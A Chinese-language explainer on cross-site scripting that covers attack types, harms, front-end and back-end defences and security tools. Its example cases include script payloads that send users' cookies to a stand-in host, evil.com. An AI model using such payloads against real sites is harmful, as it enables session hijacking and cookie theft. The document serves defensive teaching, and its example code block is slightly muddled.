总结

1. 跨站脚本攻击，注入恶意脚本
2. 敏感字符转义：“<”,“/”
3. 前端可以抓包篡改
4. 主要后台处理，转义

---

什么是 XSS 攻击？怎么防护

概述

XSS（Cross-Site Scripting，跨站脚本攻击）是一种常见的 Web 安全漏洞，攻击者通过向网页中注入恶意脚本，使其他用户在浏览该页面时，脚本在浏览器上下文中执行，从而窃取敏感信息、劫持用户会话或发起恶意操作。

---

XSS 攻击原理

XSS 利用了网站对用户输入内容的处理不当。当网站将用户输入的内容直接插入到 HTML 页面中而未进行有效过滤或转义时，攻击者可以构造包含 JavaScript、VBScript 等脚本的输入，诱导其他用户访问后触发执行。

常见注入方式

• 在评论框、搜索框、URL 参数、表单提交等位置插入恶意脚本。
• 利用富文本编辑器上传包含脚本的内容。
• 注入 <script>、<img>、<svg> 等标签。

---

XSS 攻击类型

类型	描述	特点
反射型 XSS	恶意脚本作为请求参数嵌入 URL，服务器未过滤直接返回给浏览器执行	通常通过诱导点击链接传播，不持久
存储型 XSS	恶意脚本被存储到服务器（如数据库、评论系统），当其他用户访问页面时自动加载执行	危害更大，影响范围广
DOM 型 XSS	攻击通过修改页面的 DOM（文档对象模型）触发，不经过服务器响应	更加隐蔽，依赖前端逻辑

---

XSS 攻击的危害

• 窃取用户的 Cookie、SessionID 等敏感信息
• 劫持用户身份，模拟用户行为（如发帖、转账）
• 修改网页内容，诱导用户下载恶意软件
• 发起 CSRF（跨站请求伪造）攻击
• 网站挂马、钓鱼攻击等

---

防护措施

✅ 前端防护

措施	说明
HTML 转义输出	对所有用户输入内容进行 HTML 实体转义，例如将 < 转为 &lt;、> 转为 &gt;
避免 innerHTML 操作	尽量使用 textContent 或框架自带的安全方法（如 Vue 的 {{ }}、React 的 {}）
CSP（Content Security Policy）	设置白名单策略，限制仅允许加载指定来源的脚本
使用安全的富文本库	如 Quill、Draft.js 等，内置内容清理机制
限制用户输入长度和格式	防止异常字符输入，如只允许数字、字母等

✅ 后端防护

措施	说明
输入过滤与转义	所有用户输入需经过严格的清洗，防止特殊字符进入数据库
设置 HttpOnly Cookie	防止 JavaScript 访问 Cookie，减少 Cookie 被盗风险
使用 WAF（Web Application Firewall）	过滤非法请求，识别常见 XSS 攻击模式
编码输出内容	不同输出环境使用不同编码方式：HTML、JS、CSS、URL 编码
日志监控与告警	监控异常请求，及时发现潜在攻击

---

示例：XSS 攻击代码

<!-- 用户输入 -->
<input type="text" value="<script>alert('XSS')</script>" /><!-- 服务端未转义输出 -->
<div><p>用户输入了：&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;</p>
</div>

---

实际案例

案例一：社交平台留言区 XSS

攻击者在留言中插入如下代码：

<script src="http://evil.com/steal-cookie.js"></script>

当其他用户查看该留言时，脚本会自动执行，将当前用户的 Cookie 发送到攻击者的服务器。

案例二：搜索引擎反射型 XSS

攻击者构造恶意搜索词：

https://example.com/search?q=<script>window.location='http://evil.com?c='+document.cookie</script>

用户点击后跳转到攻击页面，导致 Cookie 泄露。

---

工具推荐

工具	用途
OWASP ZAP	开源 Web 应用安全测试工具，支持 XSS 扫描
Burp Suite	商业级渗透测试工具，可模拟 XSS 攻击
DOMPurify	JavaScript 库，用于清理 HTML 内容中的危险脚本
Google Caja	Google 提供的 HTML/CSS/JS 清理工具
Vue / React / Angular	主流框架自带防 XSS 机制（如自动转义）

---

总结一句话

XSS 是一种利用网页漏洞注入脚本并执行的攻击方式，前后端应协同防御，通过输入过滤、输出转义、CSP 等手段保障用户数据安全。

---